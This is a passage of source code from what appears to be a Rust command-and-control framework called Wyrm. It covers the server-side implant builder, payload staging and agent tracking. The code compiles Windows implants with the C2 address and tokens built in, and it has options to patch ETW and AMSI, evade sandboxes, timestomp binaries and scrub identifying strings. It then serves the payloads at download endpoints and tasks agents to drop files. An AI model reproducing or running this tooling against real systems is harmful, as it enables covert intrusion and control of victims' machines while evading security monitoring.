{\n            vec![]\n        }\n    };\n\n    let target = if cfg!(windows) {\n        None\n    } else {\n        Some(\"x86_64-pc-windows-msvc\")\n    };\n\n    let mut cmd = if !cfg!(windows) {\n        tokio::process::Command::new(\"cargo-xwin\")\n    } else {\n        tokio::process::Command::new(\"cargo\")\n    };\n\n    let exports = parse_exports_to_string_for_env(&data.exports);\n\n    cmd.current_dir(\"./loader\")\n        .env(\"SVC_NAME\", data.svc_name.clone())\n        .env(\"EXPORTS_JMP_WYRM\", exports.export_only_jmp_wyrm)\n        .env(\"EXPORTS_USR_MACHINE_CODE\", exports.export_machine_code)\n        .env(\"EXPORTS_PROXY\", exports.export_proxy)\n        .env(\"DLL_PATH\", dll_path)\n        .env(\"MUTEX\", &data.mutex.clone().unwrap_or_default());\n\n    cmd.arg(\"build\");\n\n    if let Some(t) = target {\n        cmd.args([\"--target\", t]);\n    }\n\n    cmd.arg(\"--release\");\n\n    cmd.args(build_as_flags).args(features);\n\n    cmd.output().await\n}\n\n/// Builds the specified agent as a PE.\n///\n/// # Important\n/// The PE name passed into this function should NOT include its extension.\npub async fn compile_agent(\n    data: &NewAgentStaging,\n    stage_type: StageType,\n) -> Result<std::process::Output, std::io::Error> {\n    //\n    // Try insert the data into the db. We have some constraints on the db so that it cannot stage\n    // at duplicate endpoints, or with duplicate names, etc.\n    //\n\n    if stage_type == StageType::All {\n        return Err(io::Error::other(\"StageType::All not supported\"));\n    }\n\n    let pe_name = validate_extension(&data.pe_name, stage_type);\n\n    // Check for any feature flags\n    let features: Vec<String> = {\n        let mut builder = vec![\"--features\".to_string()];\n        let mut string_builder = String::new();\n\n        if data.antisandbox_ram {\n            string_builder.push_str(\"sandbox_mem,\");\n        }\n        if data.antisandbox_trig {\n            string_builder.push_str(\"sandbox_trig,\");\n        }\n        if data.patch_etw {\n            string_builder.push_str(\"patch_etw,\");\n        }\n        if data.patch_amsi {\n            string_builder.push_str(\"patch_amsi,\");\n        }\n\n        if !string_builder.is_empty() {\n            builder.push(string_builder);\n            builder\n        } else {\n            vec![]\n        }\n    };\n\n    let build_as_flags = match stage_type {\n        StageType::Dll => vec![\"--lib\"],\n        StageType::Exe => vec![\"--bin\", \"implant\"],\n        StageType::Svc => vec![\"--bin\", \"implant_svc\"],\n        StageType::All => vec![],\n    };\n\n    //\n    // Now we want to actually build the agent itself. We will do this on the C2, building the\n    // agent via the local command shell.\n    //\n    // As operators shouldn't be doing this frequently, I can't see much harm in terms of CPU and\n    // memory, but this may need to be profiled.\n    //\n    // We are also relying on the C2 being run from the correct point as pathing here is going to be\n    // relative to allow flexibility on server installations. The C2 must run from the c2 crate directly\n    // for the pathing to work.\n    //\n\n    let toolchain = \"nightly\";\n    let target = if cfg!(windows) {\n        None\n    } else {\n        Some(\"x86_64-pc-windows-msvc\")\n    };\n\n    let mut cmd = if !cfg!(windows) {\n        tokio::process::Command::new(\"cargo-xwin\")\n    } else {\n        tokio::process::Command::new(\"cargo\")\n    };\n\n    let default_spawn_as = data.default_spawn_as.clone().unwrap_or_default();\n\n    let c2_endpoints = data\n        .c2_endpoints\n        .iter()\n        .map(|e| e.to_string() + \",\")\n        .collect::<String>();\n\n    let jitter = data.jitter.unwrap_or_default();\n\n    let exports = parse_exports_to_string_for_env(&data.exports);\n    let wofs = match &data.wofs {\n        Some(w) => w\n            .iter()\n            .map(|folder| format!(\"{}/{folder};\", WOFS_PATH))\n            .collect::<String>(),\n        None => String::new(),\n    };\n\n    cmd.env(\"RUSTUP_TOOLCHAIN\", toolchain)\n        .current_dir(\"./implant\")\n        .env(\"AGENT_NAME\", &data.implant_name)\n        .env(\"PE_NAME\", pe_name)\n        .env(\"DEF_SLEEP_TIME\", data.default_sleep_time.to_string())\n        .env(\"C2_HOST\", &data.c2_address)\n        .env(\"C2_URIS\", c2_endpoints)\n        .env(\"C2_PORT\", data.port.to_string())\n        .env(\"JITTER\", jitter.to_string())\n        .env(\"SVC_NAME\", data.svc_name.clone())\n        .env(\"USERAGENT\", &data.useragent)\n        .env(\"STAGING_URI\", &data.staging_endpoint)\n        .env(\"EXPORTS_JMP_WYRM\", exports.export_only_jmp_wyrm)\n        .env(\"EXPORTS_USR_MACHINE_CODE\", exports.export_machine_code)\n        .env(\"EXPORTS_PROXY\", exports.export_proxy)\n        .env(\"SECURITY_TOKEN\", &data.agent_security_token)\n        .env(\"STAGE_TYPE\", format!(\"{stage_type}\"))\n        .env(\"DEFAULT_SPAWN_AS\", default_spawn_as)\n        .env(\"WOF\", wofs)\n        .env(\"MUTEX\", &data.mutex.clone().unwrap_or_default());\n\n    cmd.arg(\"build\");\n\n    if let Some(t) = target {\n        cmd.args([\"--target\", t]);\n    }\n\n    if !data.build_debug {\n        cmd.arg(\"--release\");\n    }\n\n    cmd.args(build_as_flags).args(features);\n\n    cmd.output().await\n}\n\npub async fn post_process_pe_on_disk(dest: &Path, data: &NewAgentStaging, stage_type: StageType) {\n    //\n    // If the user profile specifies to timestomp the binary, then try do that - if it fails we do not want to allow\n    // the bad file to be returned to the user.\n    //\n    if let Some(ts) = data.timestomp.as_ref() {\n        if let Err(e) = timestomp_binary_compile_date(ts, &dest).await {\n            let msg = format!(\"Could not timestomp binary {}, {e}\", dest.display());\n            log_error_async(&msg).await;\n        }\n    }\n\n    //\n    // Scrub implant.dll out\n    //\n    if stage_type == StageType::Dll {\n        if let Err(e) = scrub_strings(&dest, b\"implant.dll\\0\", None).await {\n            log_error_async(&format!(\"Failed to scrub implant.dll. {e}\")).await;\n        };\n    }\n\n    //\n    // Scrub user defined strings\n    //\n    if let Some(stomp) = &data.string_stomp {\n        if let Some(inner) = &stomp.remove {\n            for needle in inner {\n                if let Err(e) = scrub_strings(&dest, needle.as_bytes(), None).await {\n                    log_error_async(&format!(\n                        \"Failed to scrub string {needle} from {}. {e}\",\n                        dest.display()\n                    ))\n                    .await;\n                };\n            }\n        }\n\n        if let Some(inner) = &stomp.replace {\n            for (needle, repl) in inner {\n                if let Err(e) = scrub_strings(&dest, needle.as_bytes(), Some(repl.as_bytes())).await\n                {\n                    log_error_async(&format!(\n                        \"Failed to replace string {needle} from {}. {e}\",\n                        dest.display()\n                    ))\n                    .await;\n                };\n            }\n        }\n    }\n}\n\npub async fn write_implant_to_tmp_folder<'a>(\n    profile: &Profile,\n    save_path: &'a PathBuf,\n    implant_profile_name: &str,\n    state: State<Arc<AppState>>,\n) -> Result<(), String> {\n    //\n    // Transform the profile into a valid `NewAgentStaging`\n    //\n    let data: NewAgentStaging = match profile.as_staged_agent(implant_profile_name, StageType::All)\n    {\n        WyrmResult::Ok(d) => d,\n        WyrmResult::Err(e) => {\n            let _ = remove_dir(&save_path).await?;\n            let msg = format!(\"Error constructing a NewAgentStaging. {e:?}\");\n            log_error_async(&msg).await;\n            return Err(msg);\n        }\n    };\n\n    //\n    // For every build type, build it - we manually specify the loop size here so as more\n    // build options are added, the loop will need to be increased to accommodate.\n    //\n    for i in 0..3 {\n        let stage_type = match i {\n            0 => StageType::Exe,\n            1 => StageType::Dll,\n            2 => StageType::Svc,\n            _ => unreachable!(),\n        };\n\n        // Actually try build with cargo\n        let cmd_build_output = compile_agent(&data, stage_type).await;\n\n        if let Err(e) = cmd_build_output {\n            let msg = &format!(\"Failed to build agent. {e}\");\n            let _ = remove_dir(&save_path).await?;\n            return Err(msg.to_owned());\n        }\n\n        let output = cmd_build_output.unwrap();\n        if !output.status.success() {\n            let msg = &format!(\n                \"Failed to build agent. {:#?}\",\n                String::from_utf8_lossy(&output.stderr),\n            );\n\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg.to_owned());\n        }\n\n        //\n        // Move the built implant to where the operator requested it to be built in\n        //\n        let dir_name = {\n            match data.build_debug {\n                true => \"debug\",\n                false => \"release\",\n            }\n        };\n\n        let src_dir = if cfg!(windows) {\n            PathBuf::from(format!(\"./implant/target/{dir_name}\"))\n        } else {\n            PathBuf::from(format!(\n                \"./implant/target/x86_64-pc-windows-msvc/{dir_name}\"\n            ))\n        };\n\n        let out_dir = Path::new(&save_path);\n        let src = match stage_type {\n            StageType::Dll => src_dir.join(\"implant.dll\"),\n            StageType::Exe => src_dir.join(\"implant.exe\"),\n            StageType::Svc => src_dir.join(\"implant_svc.exe\"),\n            StageType::All => unreachable!(),\n        };\n\n        let mut dest = out_dir.join(&data.pe_name);\n\n        if !(match stage_type {\n            StageType::Dll => dest.add_extension(\"dll\"),\n            StageType::Exe => dest.add_extension(\"exe\"),\n            StageType::Svc => dest.add_extension(\"svc\"),\n            StageType::All => unreachable!(),\n        }) {\n            let msg = format!(\"Failed to add extension to local file. {dest:?}\");\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        };\n\n        // Error check..\n        if let Err(e) = tokio::fs::rename(&src, &dest).await {\n            let cwd = current_dir().expect(\"could not get cwd\");\n            let msg = format!(\n                \"Failed to rename built agent - it is *possible* you interrupted the request/page, looking for: {}, to rename to: {}. Cwd: {cwd:?} {e}\",\n                src.display(),\n                dest.display()\n            );\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        };\n\n        //\n        // Update state to include a new endpoint for the listeners\n        //\n        if let Err(e) = is_download_staging_url_error(&data, &state).await {\n            let msg = format!(\n                \"The download URL matches an existing one, or a URL which is used for agent check-in, \\\n                this is not permitted. Kind: {e:?}\"\n            );\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        }\n\n        post_process_pe_on_disk(&dest, &data, stage_type).await;\n\n        //\n        // Build the loader for the DLL\n        //\n        if stage_type == StageType::Dll {\n            let p = format!(\"{}/{}.dll\", FULLY_QUAL_PATH_TO_FILE_BUILD, data.pe_name);\n            let dll_path = PathBuf::from(p);\n\n            if !dll_path.exists() {\n                panic!(\n                    \"DLL path for the raw binary did not exist. This is not acceptable. Expected path: {}\",\n                    dll_path.display()\n                );\n            }\n\n            write_loader_to_tmp(profile, save_path, implant_profile_name, &dll_path).await?;\n        }\n    }\n\n    Ok(())\n}\n\n/// Validates the extension of the build target matches that expected by the operator\n/// after building takes place.\nfn validate_extension(name: &String, expected_type: StageType) -> String {\n    let mut new_name = String::from(name);\n\n    match expected_type {\n        StageType::Dll => {\n            if !new_name.ends_with(\".dll\") && (name.ends_with(\".exe\") || name.ends_with(\".svc\")) {\n                let _ = new_name.replace(\".exe\", \"\");\n                let _ = new_name.replace(\".svc\", \"\");\n                new_name.push_str(\".dll\");\n            } else {\n                new_name.push_str(\".dll\");\n            }\n        }\n        StageType::Exe => {\n            if !new_name.ends_with(\".exe\") && (name.ends_with(\".dll\") || name.ends_with(\".svc\")) {\n                let _ = new_name.replace(\".dll\", \"\");\n                let _ = new_name.replace(\".svc\", \"\");\n                new_name.push_str(\".exe\");\n            } else {\n                new_name.push_str(\".exe\");\n            }\n        }\n        StageType::Svc => {\n            if !new_name.ends_with(\".exe\") && (name.ends_with(\".dll\") || name.ends_with(\".svc\")) {\n                let _ = new_name.replace(\".dll\", \"\");\n                let _ = new_name.replace(\".exe\", \"\");\n                new_name.push_str(\".svc\");\n            } else {\n                new_name.push_str(\".svc\");\n            }\n        }\n        StageType::All => unreachable!(),\n    }\n\n    new_name\n}\n\n/// Prints an error to the C2 console and returns a formatted error.\n///\n/// **IMPORTANT**: This function will also delete the staged_agent row from the database by it's `implant_name`.\nasync fn stage_new_agent_error_printer(\n    message: &str,\n    uri: &str,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    log_error_async(message).await;\n    let _ = state.db_pool.delete_staged_resource_by_uri(uri).await;\n\n    let serialised = serde_json::to_value(WyrmResult::Err::<String>(message.to_string())).unwrap();\n\n    Some(serialised)\n}\n\n/// Stages a file uploaded to the C2 by an admin which will be made available for public download\n/// at a specified API endpoint.\npub async fn stage_file_upload_from_users_disk(\n    data: FileUploadStagingFromClient,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    let out_dir = Path::new(FILE_STORE_PATH);\n    let dest = out_dir.join(&data.download_name);\n\n    if let Err(e) = fs::write(&dest, &data.file_data).await {\n        let serialised = serde_json::to_value(WyrmResult::Err::<String>(format!(\n            \"Failed to write file on C2: {e:?}\",\n        )))\n        .unwrap();\n\n        return Some(serialised);\n    }\n\n    let agent_stage_template =\n        NewAgentStaging::from_staged_file_metadata(&data.api_endpoint, &data.download_name);\n\n    //\n    // Try insert into the database, following that, deconflict the download URI and add it into the in-memory\n    // list.\n    //\n    if let Err(e) = state.db_pool.add_staged_agent(&agent_stage_template).await {\n        log_error_async(&format!(\"Failed to insert row in db: {e:?}\")).await;\n        let serialised = serde_json::to_value(WyrmResult::Err::<String>(format!(\n            \"Failed to insert row in db for new staged agent: {e:?}\",\n        )))\n        .unwrap();\n\n        return Some(serialised);\n    };\n\n    if let Err(e) = add_api_endpoint_for_staged_resource(&agent_stage_template, state.clone()).await\n    {\n        return stage_new_agent_error_printer(\n            &format!(\n                \"The download URL matches an existing one, or a URL which is used for agent \\\n                check-in, this is not permitted. Kind: {e:?}\"\n            ),\n            &data.download_name,\n            state,\n        )\n        .await;\n    };\n\n    let serialised = match serde_json::to_value(WyrmResult::Ok(format!(\n        \"File successfully uploaded, and is being served at /{}. File name: {}\",\n        data.api_endpoint, data.download_name,\n    ))) {\n        Ok(s) => s,\n        Err(e) => {\n            return stage_new_agent_error_printer(\n                &format!(\"Failed to serialise response. {e}\"),\n                &data.download_name,\n                state,\n            )\n            .await;\n        }\n    };\n\n    Some(serialised)\n}\n"
  },
  {
    "path": "c2/src/admin_task_dispatch/mod.rs",
    "content": "﻿use std::{\n    path::{Path, PathBuf},\n    sync::Arc,\n};\n\nuse crate::{\n    DB_EXPORT_PATH, FILE_STORE_PATH,\n    app_state::{AppState, DownloadEndpointData},\n    logging::{log_error, log_error_async},\n};\nuse axum::extract::State;\nuse chrono::{SecondsFormat, Utc};\nuse serde_json::Value;\nuse shared::tasks::{\n    Command, DELIM_FILE_DROP_METADATA, FileDropMetadata, NewAgentStaging, WyrmResult,\n};\nuse shared_c2_client::{AgentC2MemoryNotifications, MapToMitre, TaskExport};\nuse tokio::{fs, io::AsyncWriteExt};\n\npub mod dispatch_table;\nmod execute;\npub mod implant_builder;\n\nasync fn remove_dir(save_path: impl AsRef<Path>) -> Result<(), String> {\n    if let Err(e) = fs::remove_dir_all(save_path).await {\n        let msg = format!(\"Failed to remove directory for tmp after building profiles. {e}\");\n        log_error_async(&msg).await;\n        return Err(msg);\n    }\n\n    Ok(())\n}\n\nasync fn remove_file(file_path: impl AsRef<Path>) -> Result<(), String> {\n    if let Err(e) = fs::remove_file(file_path.as_ref()).await {\n        let msg = format!(\"Failed to remove file for tmp.7z after building profiles. {e}\");\n        log_error_async(&msg).await;\n        return Err(msg);\n    }\n\n    Ok(())\n}\n\nasync fn list_agents(state: State<Arc<AppState>>) -> Option<Value> {\n    let mut new_agents: Vec<AgentC2MemoryNotifications> = Vec::new();\n\n    let agents = state.connected_agents.snapshot_agents().await;\n    for agent in agents {\n        let last_check_in = agent\n            .last_checkin_time\n            .to_rfc3339_opts(chrono::SecondsFormat::Secs, true);\n\n        let formatted = format!(\n            \"\\t{}\\t\\t{}\\t{}\\t{}\",\n            agent.uid, last_check_in, agent.first_run_data.b, agent.first_run_data.c,\n        );\n\n        let new_messages = pull_notifications_for_agent(agent.uid.clone(), state.clone()).await;\n        new_agents.push((formatted, agent.is_stale, new_messages));\n    }\n\n    Some(serde_json::to_value(&new_agents).expect(\"could not serialise\"))\n}\n\n/// Inserts a new task for the agent where the format of the task metadata is already valid. This function is\n/// just a wrapper for a database interaction.\n///\n/// # Returns\n/// None - the task is queued and the resulting data can be made available with the 'n' function on the cli.\nasync fn task_agent<T: Into<String>>(\n    command: Command,\n    metadata: Option<T>,\n    uid: String,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    let metadata = metadata.map(|t| t.into());\n\n    state\n        .db_pool\n        .add_task_for_agent_by_id(&uid, command, metadata)\n        .await\n        .unwrap();\n\n    None\n}\n\n/// Inserts a new task in the db instructing the agent to alter its sleep time. This will also be reflected in the\n/// agent's metadata on the agent db entry for persistence.\nasync fn task_agent_sleep(time: i64, uid: String, state: State<Arc<AppState>>) -> Option<Value> {\n    let time_as_str = time.to_string();\n    state\n        .db_pool\n        .update_agent_sleep_time(&uid, time)\n        .await\n        .unwrap();\n\n    state\n        .db_pool\n        .add_task_for_agent_by_id(&uid, Command::Sleep, Some(time_as_str))\n        .await\n        .unwrap();\n\n    // We dont have any metadata to send back to the client, so an empty vec is sufficient\n    None\n}\n\n/// Queries the database for the pending notifications for a given agent, and then marks them as pulled.\nasync fn pull_notifications_for_agent(uid: String, state: State<Arc<AppState>>) -> Option<Value> {\n    // Used to store the completed ID's we took from the DB to mark them as\n    // pulled.\n    let mut ids = Vec::new();\n\n    //\n    // Pulling the notifications will also mark as complete; so grab them and return\n    //\n\n    let agent_notifications = match state.db_pool.pull_notifications_for_agent(&uid).await {\n        Ok(inner) => {\n            let inner = inner.map(|t| {\n                t.iter().for_each(|n| ids.push(n.completed_id));\n                serde_json::to_value(&t).unwrap()\n            });\n            if inner.is_none() {\n                return inner;\n            } else {\n                inner\n            }\n        }\n        Err(e) => {\n            log_error_async(&format!(\n                \"Could not pull notifications for agent {uid}. {e}\"\n            ))\n            .await;\n            return None;\n        }\n    };\n    agent_notifications\n}\n\n/// Returns the time of the server in UTC\nfn show_server_time() -> Option<Value> {\n    let time_now = Utc::now();\n    let time_now_snipped = time_now.to_rfc3339_opts(SecondsFormat::Secs, true);\n\n    match serde_json::to_value(&time_now_snipped) {\n        Ok(time) => Some(time),\n        Err(e) => {\n            let s = format!(\"Failed to serialise server time. {e}\");\n            Some(serde_json::to_value(&s).unwrap())\n        }\n    }\n}\n\n/// Lists staged resources on the C2, such as staged agents\nasync fn list_staged_resources(state: State<Arc<AppState>>) -> Option<Value> {\n    let results = match state.db_pool.get_staged_agent_data().await {\n        Ok(r) => WyrmResult::Ok(r),\n        Err(e) => {\n            log_error_async(&format!(\"Failed to list resources: {e:?}\")).await;\n            WyrmResult::Err(e.to_string())\n        }\n    };\n\n    let ser = serde_json::to_value(results).unwrap();\n\n    Some(ser)\n}\n\n/// Deletes a staged resource from the database by its internal stage name\nasync fn delete_staged_resources(\n    state: State<Arc<AppState>>,\n    download_endpoint: String,\n) -> Option<Value> {\n    // Delete from db\n    let results = state\n        .db_pool\n        .delete_staged_resource_by_uri(&download_endpoint)\n        .await\n        .unwrap();\n\n    {\n        // remove the download stage from the in memory list\n        let mut lock = state.endpoints.write().await;\n        lock.download_endpoints.remove(&download_endpoint);\n    }\n\n    // Delete from disk\n    let mut file_to_delete = PathBuf::from(FILE_STORE_PATH);\n    file_to_delete.push(results);\n    tokio::fs::remove_file(&file_to_delete).await.unwrap();\n\n    let ser = serde_json::to_value(()).unwrap();\n\n    Some(ser)\n}\n\nasync fn remove_agent_from_list(state: State<Arc<AppState>>, agent_name: String) -> Option<Value> {\n    state.connected_agents.remove_agent(&agent_name).await;\n\n    None\n}\n\n/// Error state which could occur when trying to add a stage or file to the C2\n#[derive(Debug)]\nenum StageError {\n    EndpointExistsDownload,\n    EndpointExistsCheckIn,\n}\n\n/// Adds an API endpoint for public use on the C2 which relates to a custom file / a new agent uploaded\n/// by the admin on the client.\n///\n/// The function handles errors and deconflictions, ensuring that we do not cause any duplication. If no errors are\n/// encountered, it will insert the relevant data into the in-memory structures.\n///\n/// This function does **not** handle database insertions, and assumes they have already been done / will be done\n/// hereafter.\n///\n/// # Returns\n/// - `Ok`: If successful, unit Ok is returned\n/// - `Err`: If there is an error adding a URI, the error is returned as a [`StageError`]\nasync fn add_api_endpoint_for_staged_resource(\n    data: &NewAgentStaging,\n    state: State<Arc<AppState>>,\n) -> Result<(), StageError> {\n    // Check we dont overlap incompatible URI's\n    is_download_staging_url_error(data, &state).await?;\n\n    let mut server_endpoints = state.endpoints.write().await;\n\n    server_endpoints.download_endpoints.insert(\n        data.staging_endpoint.clone(),\n        DownloadEndpointData::new(&data.pe_name, &data.implant_name, None),\n    );\n\n    Ok(())\n}\n\n/// Checks whether a staged URI exists in a way which is incompatible. For example, you cannot have two\n/// download URI's that overlap, and you cannot have a checkin URI overlapping with a download URI.\nasync fn is_download_staging_url_error(\n    data: &NewAgentStaging,\n    state: &State<Arc<AppState>>,\n) -> Result<(), StageError> {\n    //\n    // Check for conflicts with download and staging API's, that is what we look for in the first\n    // three vars, `c2_conflicts_download`, `staging_conflicts_c2` & `staging_conflicts_self`\n    //\n    let server_endpoints = state.endpoints.read().await;\n    for e in &data.c2_endpoints {\n        if server_endpoints.download_endpoints.contains_key(e) == true {\n            return Err(StageError::EndpointExistsDownload);\n        }\n    }\n\n    // Check the existing C2 endpoints with the proposed staging endpoint (only in the case\n    // where the operator is building manually as opposed to the profile). Building via the profile\n    // currently results in a empty string \"\", which is why we do this check.\n    if !data.staging_endpoint.is_empty()\n        && server_endpoints\n            .c2_endpoints\n            .contains(&data.staging_endpoint)\n    {\n        return Err(StageError::EndpointExistsCheckIn);\n    }\n\n    if server_endpoints\n        .download_endpoints\n        .contains_key(&data.staging_endpoint)\n    {\n        return Err(StageError::EndpointExistsDownload);\n    }\n\n    Ok(())\n}\n\n/// Handler for instructing the agent to drop a file to disk.\nasync fn drop_file_handler(\n    uid: Option<String>,\n    mut data: FileDropMetadata,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    // check we dont have the delimiter in the input\n    if data.download_name.contains(DELIM_FILE_DROP_METADATA)\n        || data.internal_name.contains(DELIM_FILE_DROP_METADATA)\n        || data\n            .download_uri\n            .as_deref()\n            .unwrap_or_default()\n            .contains(DELIM_FILE_DROP_METADATA)\n    {\n        return Some(\n            serde_json::to_value(WyrmResult::Err::<String>(format!(\n                \"Content cannot contain {DELIM_FILE_DROP_METADATA}\"\n            )))\n            .unwrap(),\n        );\n    }\n\n    let Some(download_uri) = state\n        .endpoints\n        .read()\n        .await\n        .find_format_download_endpoint(&data.internal_name)\n    else {\n        let msg = format!(\n            \"Could not find staged file when instructing agent to drop a file to disk. Looking for file name: '{}' \\\n            but it does not exist in memory.\",\n            data.internal_name\n        );\n        log_error_async(&msg).await;\n        return Some(serde_json::to_value(WyrmResult::Err::<String>(msg)).unwrap());\n    };\n\n    data.download_uri = Some(download_uri);\n\n    task_agent::<String>(Command::Drop, Some(data.into()), uid.unwrap(), state).await\n}\n\n/// Exports the completed tasks on an agent (by its ID) to a json file in the C2 filesystem\nasync fn export_completed_tasks_to_json(uid: String, state: State<Arc<AppState>>) -> Option<Value> {\n    //\n    // This whole block here just unwraps explicitly twice safely through matches trying to get the inner\n    // data. If there was an error or there was no data, this is handled and the function will immediately\n    // return. Using thiserror or using maps may be a little nicer...\n    //\n    let results = match state.db_pool.get_agent_export_data(uid.as_str()).await {\n        Ok(r) => match r {\n            Some(r) => {\n                if r.is_empty() {\n                    let msg = format!(\"Tasks for implant: {uid} were empty\");\n                    log_error(&msg);\n                    return Some(serde_json::to_value(msg).unwrap());\n                }\n\n                r\n            }\n            None => {\n                let msg = format!(\"Tasks for implant: {uid} were empty\");\n                log_error(&msg);\n                return Some(serde_json::to_value(msg).unwrap());\n            }\n        },\n        Err(e) => {\n            let msg = format!(\n                \"Error encountered for implant: {uid} when trying to fetch completed tasks. {e}\"\n            );\n            log_error(&msg);\n            return Some(serde_json::to_value(msg).unwrap());\n        }\n    };\n\n    // Serialise\n    let mut results_with_mitre: Vec<TaskExport> = Vec::with_capacity(results.len());\n\n    for task in &results {\n        results_with_mitre.push(TaskExport::new(task, task.command.map_to_mitre()));\n    }\n\n    let json_export = serde_json::to_string(&results_with_mitre)\n        .map_err(|e| {\n            let msg = format!(\"Could not serialise db results for agent: {uid}. {e}\");\n            log_error(&msg);\n\n            Some(serde_json::to_value(msg).unwrap())\n        })\n        .unwrap();\n\n    //\n    // Try write the data to the fs\n    //\n    let mut path = PathBuf::from(DB_EXPORT_PATH);\n    path.push(&uid);\n    path.add_extension(\"json\");\n\n    let mut file = tokio::fs::OpenOptions::new()\n        .write(true)\n        .read(true)\n        .create(true)\n        .truncate(true)\n        .open(&path)\n        .await\n        .map_err(|e| {\n            let msg = format!(\n                \"Could not create db export file on fs for agent: {uid}. Path: {}, {e}\",\n                path.display()\n            );\n            log_error(&msg);\n            Some(serde_json::to_value(msg).unwrap())\n        })\n        .unwrap();\n\n    if let Err(e) = file.write(json_export.as_bytes()).await {\n        log_error(&format!(\n            \"Could not write to output file {} for agent: {uid}. {e}\",\n            path.display()\n        ));\n        return None;\n    };\n\n    Some(serde_json::to_value(format!(\"File exported as {uid}\")).unwrap())\n}\n"
  },
  {
    "path": "c2/src/agents.rs",
    "content": "use std::{collections::HashMap, sync::Arc};\n\nuse axum::http::HeaderMap;\nuse chrono::{DateTime, Duration, Utc};\nuse serde::{Deserialize, Serialize};\nuse shared::tasks::{Command, FirstRunData, Task, tasks_contains_kill_agent};\nuse tokio::{sync::RwLock, time::timeout};\n\nuse crate::{db::Db, logging::log_error_async};\n\n#[derive(Serialize, Deserialize, Clone)]\npub struct Agent {\n    pub uid: String,\n    pub sleep: u64,\n    pub first_run_data: FirstRunData,\n    pub last_checkin_time: DateTime<Utc>,\n    pub is_stale: bool,\n}\n\nimpl Agent {\n    /// Creates a new agent by querying the database. If the agent exists in the database, that will be\n    /// returned, otherwise, a new agent will be inserted and that will be returned.\n    async fn from_first_run_data(\n        id: &str,\n        db: &Db,\n        frd: FirstRunData,\n    ) -> Result<(Agent, Option<Vec<Task>>), String> {\n        match db.get_agent_with_tasks_by_id(id, frd.clone()).await {\n            Ok((agent, tasks)) => Ok((agent, tasks)),\n            Err(e) => match e {\n                sqlx::Error::RowNotFound => {\n                    // Add the new agent into the db, and also return with it an empty vec\n                    let new_agent = db\n                        .insert_new_agent(id, frd)\n                        .await\n                        .map_err(|e| e.to_string())?;\n                    return Ok((new_agent, None));\n                }\n                _ => {\n                    return Err(e.to_string());\n                }\n            },\n        }\n    }\n\n    pub fn get_config_data(&self) -> Vec<Task> {\n        //\n        // Here we. can push any tasks to the queue which we want the implant to execute at the point\n        // of its first run, to set up any of its environment / runtime related tasks. For example, we can\n        // set its sleep to be the last sleep setting the operator changed it to, where that would differ\n        // from what is hardcoded.\n        //\n\n        vec![Task {\n            id: 0,\n            command: Command::UpdateSleepTime,\n            metadata: Some(self.sleep.to_string()),\n            completed_time: 0,\n        }]\n    }\n}\n\ntype AgentHandle = Arc<RwLock<Agent>>;\n\n/// AgentList holds data pertaining to the in-memory representation of all active agents connected\n/// to the C2.\npub struct AgentList {\n    // Each agent is represented by a HashMap where the Key is the ID, and the value is the Agent\n    agents: RwLock<HashMap<String, AgentHandle>>,\n}\n\nimpl AgentList {\n    pub fn default() -> Self {\n        Self {\n            agents: RwLock::new(HashMap::new()),\n        }\n    }\n\n    async fn snapshot_handles(&self) -> Vec<AgentHandle> {\n        let lock = self.agents.read().await;\n        lock.values().cloned().collect()\n    }\n\n    pub async fn snapshot_agents(&self) -> Vec<Agent> {\n        let handles = self.snapshot_handles().await;\n        let mut agents = Vec::with_capacity(handles.len());\n\n        for handle in handles {\n            let agent = handle.read().await;\n            agents.push(agent.clone());\n        }\n\n        agents\n    }\n\n    /// Enumerates over all agents, determines whether an it is stale by calculating if we have\n    /// gone past the expected check-in time of the agent by some time, `n` (where `n` is in seconds).\n    pub async fn mark_agents_stale(&self) {\n        let handles = self.snapshot_handles().await;\n\n        for handle in handles {\n            let (sleep, last_checkin_time) = {\n                let lock = handle.read().await;\n                (lock.sleep, lock.last_checkin_time)\n            };\n\n            let margin = Duration::seconds(calculate_max_time_till_stale(sleep).await);\n            let now: DateTime<Utc> = Utc::now();\n\n            let mut lock = handle.write().await;\n            lock.is_stale = last_checkin_time + Duration::seconds(sleep as _) + margin < now;\n        }\n    }\n\n    /// Gets an [`Agent`] from the HTTP request headers; if no such agent is currently connected\n    /// an agent will be returned and added to the live list of agents.\n    ///\n    /// # Returns\n    /// - An owned **copy** of the agent in the live list\n    /// - An option of a Vector of Tasks, to be completed by the agent\n    pub async fn get_agent_and_tasks_by_header(\n        &self,\n        headers: &HeaderMap,\n        db: &Db,\n        first_run_data: Option<FirstRunData>,\n    ) -> Result<(Agent, Option<Vec<Task>>), String> {\n        // Lookup the agent ID by extracting it from the headers\n        let agent_id = extract_agent_id(headers)?;\n\n        let mut re_request_frd: bool = false;\n\n        //\n        // Get or insert the agent\n        //\n        let existing = {\n            let lock = self.agents.read().await;\n            lock.get(&agent_id).cloned()\n        };\n\n        let handle: AgentHandle = if let Some(entry) = existing {\n            entry\n        } else {\n            let Ok(db_call) = timeout(\n                tokio::time::Duration::from_secs(5),\n                Agent::from_first_run_data(\n                    &agent_id,\n                    db,\n                    first_run_data.clone().unwrap_or_default(),\n                ),\n            )\n            .await\n            else {\n                return Err(\"DB timeout in critical path\".to_string());\n            };\n\n            let (new_agent, _) = match db_call {\n                Ok(result) => result,\n                Err(e) => {\n                    return Err(format!(\"Failed to complete from_first_run_data. {e}\"));\n                }\n            };\n\n            let arc = Arc::new(RwLock::new(new_agent));\n            let mut lock = self.agents.write().await;\n            if let Some(existing) = lock.get(&agent_id) {\n                Arc::clone(existing)\n            } else {\n                re_request_frd = first_run_data.is_none();\n                lock.insert(agent_id.clone(), arc.clone());\n                arc\n            }\n        };\n\n        //\n        // Update in place\n        //\n\n        let mut agent_for_db = {\n            let mut lock = handle.write().await;\n            if let Some(frd) = first_run_data {\n                lock.first_run_data = frd;\n            }\n            lock.clone()\n        };\n\n        if let Err(e) = db.update_agent_checkin_time(&mut agent_for_db).await {\n            return Err(format!(\"Failed to update checkin time. {e}\"));\n        }\n\n        {\n            let mut lock = handle.write().await;\n            lock.last_checkin_time = 